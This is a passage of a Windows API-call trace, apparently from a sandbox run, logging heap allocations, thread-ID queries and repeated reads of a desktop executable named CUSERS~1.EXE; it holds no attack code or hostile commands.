(HeapHandle=0x2ad0000, Flags=0x0, Size=0x296) returned 0x2ba6870 [0073.669] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba7b70, Size=0x250) returned 0x2ac3d58 [0073.669] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x245) returned 0x2ba6b10 [0073.669] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x282) returned 0x2c37d38 [0073.669] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4d2) returned 0x2c37fc8 [0073.669] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2fa) returned 0x2c384a8 [0073.669] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac3d58, Size=0x2b4) returned 0x2ba9210 [0073.669] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x260) returned 0x2c387b0 [0073.669] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2ea) returned 0x2c38a18 [0073.669] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba9210, Size=0x324) returned 0x2bab298 [0073.669] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bab298 | out: hHeap=0x2ad0000) returned 1 [0073.669] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c39460 | out: hHeap=0x2ad0000) returned 1 [0073.669] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af40 [0073.669] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af40 | out: hHeap=0x2ad0000) returned 1 [0073.669] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbcf20 [0073.669] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af00 [0073.669] GetCurrentThreadId () returned 0x9b0 [0073.669] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0073.669] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0073.669] GetCurrentThreadId () returned 0x9b0 [0073.669] GetCurrentThreadId () returned 0x9b0 [0073.669] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0073.669] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0073.669] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0073.670] GetCurrentThreadId () returned 0x9b0 [0073.670] GetCurrentThreadId () returned 0x9b0 [0073.670] GetCurrentThreadId () returned 0x9b0 [0073.670] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ba3a50 [0073.670] GetCurrentThreadId () returned 0x9b0 [0073.670] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba3a50 | out: hHeap=0x2ad0000) returned 1 [0073.670] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ba3a50 [0073.670] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba3a50, Size=0x14) returned 0x2ba3a50 [0073.670] GetCurrentThreadId () returned 0x9b0 [0073.670] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba3a50 | out: hHeap=0x2ad0000) returned 1 [0073.670] GetCurrentThreadId () returned 0x9b0 [0073.670] GetCurrentThreadId () returned 0x9b0 [0073.670] GetCurrentThreadId () returned 0x9b0 [0073.670] GetCurrentThreadId () returned 0x9b0 [0073.670] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0073.670] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0073.670] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0073.670] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a258 [0073.670] GetCurrentThreadId () returned 0x9b0 [0073.670] GetCurrentThreadId () returned 0x9b0 [0073.670] GetCurrentThreadId () returned 0x9b0 [0073.670] GetCurrentThreadId () returned 0x9b0 [0073.670] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a258 | out: hHeap=0x2ad0000) returned 1 [0073.670] GetCurrentThreadId () returned 0x9b0 [0073.670] GetCurrentThreadId () returned 0x9b0 [0073.670] GetLastError () returned 0x0 [0073.670] GetLastError () returned 0x0 [0073.670] GetLastError () returned 0x0 [0073.670] GetLastError () returned 0x0 [0073.670] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x25) returned 0x2a1ff28 [0073.670] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17af0 [0073.671] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17af0 | out: hHeap=0x2ad0000) returned 1 [0073.671] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8af20 [0073.671] GetLastError () returned 0x0 [0073.671] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9218, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0073.671] GetFileType (hFile=0x1e8) returned 0x1 [0073.671] GetLastError () returned 0x0 [0073.671] GetCurrentThreadId () returned 0x9b0 [0073.671] GetLastError () returned 0x0 [0073.671] GetFileType (hFile=0x1e8) returned 0x1 [0073.671] GetFileInformationByHandle (in: hFile=0x1e8, lpFileInformation=0x9b9294 | out: lpFileInformation=0x9b9294) returned 1 [0073.671] FileTimeToLocalFileTime (in: lpFileTime=0x9b92a8, lpLocalFileTime=0x9b92d8 | out: lpLocalFileTime=0x9b92d8) returned 1 [0073.671] FileTimeToSystemTime (in: lpFileTime=0x9b92d8, lpSystemTime=0x9b92c8 | out: lpSystemTime=0x9b92c8) returned 1 [0073.671] FileTimeToLocalFileTime (in: lpFileTime=0x9b92a0, lpLocalFileTime=0x9b92d8 | out: lpLocalFileTime=0x9b92d8) returned 1 [0073.671] FileTimeToSystemTime (in: lpFileTime=0x9b92d8, lpSystemTime=0x9b92c8 | out: lpSystemTime=0x9b92c8) returned 1 [0073.671] FileTimeToLocalFileTime (in: lpFileTime=0x9b9298, lpLocalFileTime=0x9b92d8 | out: lpLocalFileTime=0x9b92d8) returned 1 [0073.671] FileTimeToSystemTime (in: lpFileTime=0x9b92d8, lpSystemTime=0x9b92c8 | out: lpSystemTime=0x9b92c8) returned 1 [0073.671] GetLastError () returned 0x0 [0073.671] GetCurrentThreadId () returned 0x9b0 [0073.671] GetLastError () returned 0x0 [0073.671] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af20 | out: hHeap=0x2ad0000) returned 1 [0073.671] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ff28 | out: hHeap=0x2ad0000) returned 1 [0073.671] GetLastError () returned 0x0 [0073.671] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=7362049, lpDistanceToMoveHigh=0x9b9348*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b9348*=0) returned 0x705601 [0073.672] GetLastError () returned 0x0 [0073.672] GetCurrentThreadId () returned 0x9b0 [0073.672] GetLastError () returned 0x0 [0073.672] GetCurrentThreadId () returned 0x9b0 [0073.672] GetCurrentThreadId () returned 0x9b0 [0073.672] GetLastError () returned 0x0 [0073.672] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=8829848, lpDistanceToMoveHigh=0x9b96e0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b96e0*=0) returned 0x86bb98 [0073.672] GetLastError () returned 0x0 [0073.672] GetCurrentThreadId () returned 0x9b0 [0073.672] GetLastError () returned 0x0 [0073.672] GetCurrentThreadId () returned 0x9b0 [0073.672] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x89c) returned 0x2ba6d60 [0073.672] GetLastError () returned 0x0 [0073.672] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2c1e240 [0073.672] ReadFile (in: hFile=0x1e8, lpBuffer=0x2c1e240, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9b9694, lpOverlapped=0x0 | out: lpBuffer=0x2c1e240*, lpNumberOfBytesRead=0x9b9694*=0x1000, lpOverlapped=0x0) returned 1 [0073.672] GetLastError () returned 0x0 [0073.672] GetCurrentThreadId () returned 0x9b0 [0073.672] GetLastError () returned 0x0 [0073.672] GetCurrentThreadId () returned 0x9b0 [0073.672] GetLastError () returned 0x0 [0073.672] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b836c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b836c*=0) returned 0x86cb98 [0073.672] GetLastError () returned 0x0 [0073.672] GetCurrentThreadId () returned 0x9b0 [0073.673] GetLastError () returned 0x0 [0073.673] GetLastError () returned 0x0 [0073.673] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c1e240 | out: hHeap=0x2ad0000) returned 1 [0073.673] CloseHandle (hObject=0x1e8) returned 1 [0073.673] GetLastError () returned 0x0 [0073.673] GetCurrentThreadId () returned 0x9b0 [0073.673] GetLastError () returned 0x0 [0073.673] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1bd0) returned 0x2ba7608 [0073.673] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4015) returned 0x2c2b208 [0073.673] GetLastError () returned 0x0 [0073.673] GetCurrentThreadId () returned 0x9b0 [0073.673] GetLastError () returned 0x0 [0073.673] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7608 | out: hHeap=0x2ad0000) returned 1 [0073.673] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c2b208, Size=0x107c) returned 0x2c2b208 [0073.673] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba6d60 | out: hHeap=0x2ad0000) returned 1 [0073.673] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17940 [0073.673] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c17940, Size=0x20) returned 0x2a1f920 [0073.674] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1f920, Size=0x40) returned 0x2a19130 [0073.674] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19130, Size=0x64) returned 0x2a19968 [0073.674] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19968, Size=0x8c) returned 0x2ac06b0 [0073.674] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2df) returned 0x2ba6d60 [0073.674] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac06b0, Size=0xb8) returned 0x2ac1af8 [0073.674] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac1af8, Size=0xe8) returned 0x2ac22f0 [0073.674] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac22f0, Size=0x120) returned 0x2ba5c80 [0073.674] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba5c80, Size=0x160) returned 0x2c37460 [0073.674] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c37460 | out: hHeap=0x2ad0000) returned 1 [0073.674] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c2b208 | out: hHeap=0x2ad0000) returned 1 [0073.674] GetCurrentThreadId () returned 0x9b0 [0073.674] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b010 [0073.674] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b010 | out: hHeap=0x2ad0000) returned 1 [0073.674] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbd3b8 [0073.674] GetCurrentThreadId () returned 0x9b0 [0073.674] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a258 [0073.674] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a258 | out: hHeap=0x2ad0000) returned 1 [0073.674] GetCurrentThreadId () returned 0x9b0 [0073.674] GetCurrentThreadId () returned 0x9b0 [0073.674] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a258 [0073.674] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a258 | out: hHeap=0x2ad0000) returned 1 [0073.674] GetCurrentThreadId () returned 0x9b0 [0073.674] GetCurrentThreadId () returned 0x9b0 [0073.674] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0073.674] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0073.675] GetCurrentThreadId () returned 0x9b0 [0073.675] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c179a0 [0073.675] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8afa0 [0073.675] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71840 [0073.675] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17910 [0073.675] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8afb0 [0073.675] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8aed0 [0073.675] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8afb0, Size=0x14) returned 0x2a718c0 [0073.675] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aed0 | out: hHeap=0x2ad0000) returned 1 [0073.675] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17910 | out: hHeap=0x2ad0000) returned 1 [0073.675] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71840 | out: hHeap=0x2ad0000) returned 1 [0073.675] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8afa0 | out: hHeap=0x2ad0000) returned 1 [0073.675] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a718c0 | out: hHeap=0x2ad0000) returned 1 [0073.675] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a75cd0, Size=0x64) returned 0x2a874b0 [0073.675] GetCurrentThreadId () returned 0x9b0 [0073.675] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0073.675] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0073.675] GetCurrentThreadId () returned 0x9b0 [0073.675] GetCurrentThreadId () returned 0x9b0 [0073.675] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0073.675] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0073.675] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a258 [0073.675] GetCurrentThreadId () returned 0x9b0 [0073.675] GetCurrentThreadId () returned 0x9b0 [0073.675] GetCurrentThreadId () returned 0x9b0 [0073.675] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ba3a50 [0073.675] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba3a50 | out: hHeap=0x2ad0000) returned 1 [0073.675] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ba3a50 [0073.675] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba3a50, Size=0x14) returned 0x2ba3a50 [0073.676] GetCurrentThreadId () returned 0x9b0 [0073.676] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba3a50 | out: hHeap=0x2ad0000) returned 1 [0073.676] GetCurrentThreadId () returned 0x9b0 [0073.676] GetCurrentThreadId () returned 0x9b0 [0073.676] GetCurrentThreadId () returned 0x9b0 [0073.676] GetCurrentThreadId () returned 0x9b0 [0073.676] GetCurrentThreadId () returned 0x9b0 [0073.676] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a258 | out: hHeap=0x2ad0000) returned 1 [0073.676] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0073.676] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0073.676] GetCurrentThreadId () returned 0x9b0 [0073.676] GetCurrentThreadId () returned 0x9b0 [0073.676] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0073.676] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0073.676] GetCurrentThreadId () returned 0x9b0 [0073.676] GetCurrentThreadId () returned 0x9b0 [0073.676] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0073.676] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0073.676] GetCurrentThreadId () returned 0x9b0 [0073.676] GetCurrentThreadId () returned 0x9b0 [0073.676] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0073.676] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a258 [0073.676] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0073.676] GetCurrentThreadId () returned 0x9b0 [0073.676] GetCurrentThreadId () returned 0x9b0 [0073.676] GetCurrentThreadId () returned 0x9b0 [0073.676] GetCurrentThreadId () returned 0x9b0 [0073.676] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0073.676] GetCurrentThreadId () returned 0x9b0 [0073.676] GetCurrentThreadId () returned 0x9b0 [0073.676] GetLastError () returned 0x0 [0073.676] GetLastError () returned 0x0 [0073.677] GetLastError () returned 0x0 [0073.677] GetLastError () returned 0x0 [0073.677] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x25) returned 0x2a20138 [0073.677] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17928 [0073.677] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17928 | out: hHeap=0x2ad0000) returned 1 [0073.677] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8b030 [0073.677] GetLastError () returned 0x0 [0073.677] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9218, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0073.677] GetFileType (hFile=0x1e8) returned 0x1 [0073.677] GetLastError () returned 0x0 [0073.677] GetCurrentThreadId () returned 0x9b0 [0073.677] GetLastError () returned 0x0 [0073.677] GetFileType (hFile=0x1e8) returned 0x1 [0073.677] GetFileInformationByHandle (in: hFile=0x1e8, lpFileInformation=0x9b9294 | out: lpFileInformation=0x9b9294) returned 1 [0073.677] FileTimeToLocalFileTime (in: lpFileTime=0x9b92a8, lpLocalFileTime=0x9b92d8 | out: lpLocalFileTime=0x9b92d8) returned 1 [0073.677] FileTimeToSystemTime (in: lpFileTime=0x9b92d8, lpSystemTime=0x9b92c8 | out: lpSystemTime=0x9b92c8) returned 1 [0073.677] FileTimeToLocalFileTime (in: lpFileTime=0x9b92a0, lpLocalFileTime=0x9b92d8 | out: lpLocalFileTime=0x9b92d8) returned 1 [0073.677] FileTimeToSystemTime (in: lpFileTime=0x9b92d8, lpSystemTime=0x9b92c8 | out: lpSystemTime=0x9b92c8) returned 1 [0073.677] FileTimeToLocalFileTime (in: lpFileTime=0x9b9298, lpLocalFileTime=0x9b92d8 | out: lpLocalFileTime=0x9b92d8) returned 1 [0073.677] FileTimeToSystemTime (in: lpFileTime=0x9b92d8, lpSystemTime=0x9b92c8 | out: lpSystemTime=0x9b92c8) returned 1 [0073.677] GetLastError () returned 0x0 [0073.677] GetCurrentThreadId () returned 0x9b0 [0073.677] GetLastError () returned 0x0 [0073.678] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b030 | out: hHeap=0x2ad0000) returned 1 [0073.678] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20138 | out: hHeap=0x2ad0000) returned 1 [0073.678] GetLastError () returned 0x0 [0073.678] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=8832031, lpDistanceToMoveHigh=0x9b9348*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b9348*=0) returned 0x86c41f [0073.678] GetLastError () returned 0x0 [0073.678] GetCurrentThreadId () returned 0x9b0 [0073.678] GetLastError () returned 0x0 [0073.678] GetCurrentThreadId () returned 0x9b0 [0073.678] GetLastError () returned 0x0 [0073.678] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=7329014, lpDistanceToMoveHigh=0x9b96e0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b96e0*=0) returned 0x6fd4f6 [0073.678] GetLastError () returned 0x0 [0073.678] GetCurrentThreadId () returned 0x9b0 [0073.678] GetLastError () returned 0x0 [0073.678] GetCurrentThreadId () returned 0x9b0 [0073.678] GetCurrentThreadId () returned 0x9b0 [0073.678] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1339) returned 0x2ba7048 [0073.678] GetLastError () returned 0x0 [0073.678] ReadFile (in: hFile=0x1e8, lpBuffer=0x2ba705c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9b96a8, lpOverlapped=0x0 | out: lpBuffer=0x2ba705c*, lpNumberOfBytesRead=0x9b96a8*=0x1000, lpOverlapped=0x0) returned 1 [0073.678] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2c22260 [0073.678] ReadFile (in: hFile=0x1e8, lpBuffer=0x2c22260, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9b9694, lpOverlapped=0x0 | out: lpBuffer=0x2c22260*, lpNumberOfBytesRead=0x9b9694*=0x1000, lpOverlapped=0x0) returned 1 [0073.678] GetLastError () returned 0x0 [0073.678] GetCurrentThreadId () returned 0x9b0 [0073.678] GetLastError () returned 0x0 [0073.679] GetCurrentThreadId () returned 0x9b0 [0073.679] GetLastError () returned 0x0 [0073.679] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b836c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b836c*=0) returned 0x6ff4f6 [0073.679] GetLastError () returned 0x0 [0073.679] GetCurrentThreadId () returned 0x9b0 [0073.679] GetLastError () returned 0x0 [0073.679] GetLastError () returned 0x0 [0073.679] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c22260 | out: hHeap=0x2ad0000) returned 1 [0073.679] CloseHandle (hObject=0x1e8) returned 1 [0073.679] GetLastError () returned 0x0 [0073.679] GetCurrentThreadId () returned 0x9b0 [0073.679] GetLastError () returned 0x0 [0073.679] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1bd0) returned 0x2ba8390 [0073.679] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4015) returned 0x2c2b208 [0073.679] GetLastError () returned 0x0 [0073.679] GetCurrentThreadId () returned 0x9b0 [0073.679] GetLastError () returned 0x0 [0073.679] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8390 | out: hHeap=0x2ad0000) returned 1 [0073.679] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c2b208, Size=0x338d) returned 0x2c2b208 [0073.679] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7048 | out: hHeap=0x2ad0000) returned 1 [0073.679] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2da) returned 0x2c2e5a0 [0073.679] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c178b0 [0073.679] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c178b0, Size=0x20) returned 0x2a1fbf0 [0073.680] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fbf0, Size=0x40) returned 0x2a19058 [0073.680] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19058, Size=0x64) returned 0x2a19ab8 [0073.680] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19ab8, Size=0x8c) returned 0x2ac0320 [0073.680] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x453) returned 0x2c2e888 [0073.680] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0320, Size=0xb8) returned 0x2ac1438 [0073.680] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x955) returned 0x2c2ece8 [0073.680] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac1438, Size=0xe8) returned 0x2ac25c0 [0073.680] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac25c0, Size=0x120) returned 0x2ba5ff8 [0073.680] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x258) returned 0x2c2f648 [0073.680] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba5ff8, Size=0x160) returned 0x2c37028 [0073.680] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x40000) returned 0x2c38d10 [0073.681] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x23f) returned 0x2c2f8a8 [0073.681] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c37028, Size=0x1a8) returned 0x2ac9990 [0073.681] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x25a) returned 0x2c2faf0 [0073.681] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac9990, Size=0x1f8) returned 0x2c305a0 [0073.681] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c305a0 | out: hHeap=0x2ad0000) returned 1 [0073.681] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c2b208 | out: hHeap=0x2ad0000) returned 1 [0073.681] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b050 [0073.681] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b050 | out: hHeap=0x2ad0000) returned 1 [0073.681] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbd230 [0073.681] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c179e8 [0073.681] GetCurrentThreadId () returned 0x9b0 [0073.681] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0073.681] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0073.681] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0073.681] GetCurrentThreadId () returned 0x9b0 [0073.681] GetCurrentThreadId () returned 0x9b0 [0073.681] GetCurrentThreadId () returned 0x9b0 [0073.681] GetCurrentThreadId () returned 0x9b0 [0073.681] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ba3a50 [0073.682] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba3a50 | out: 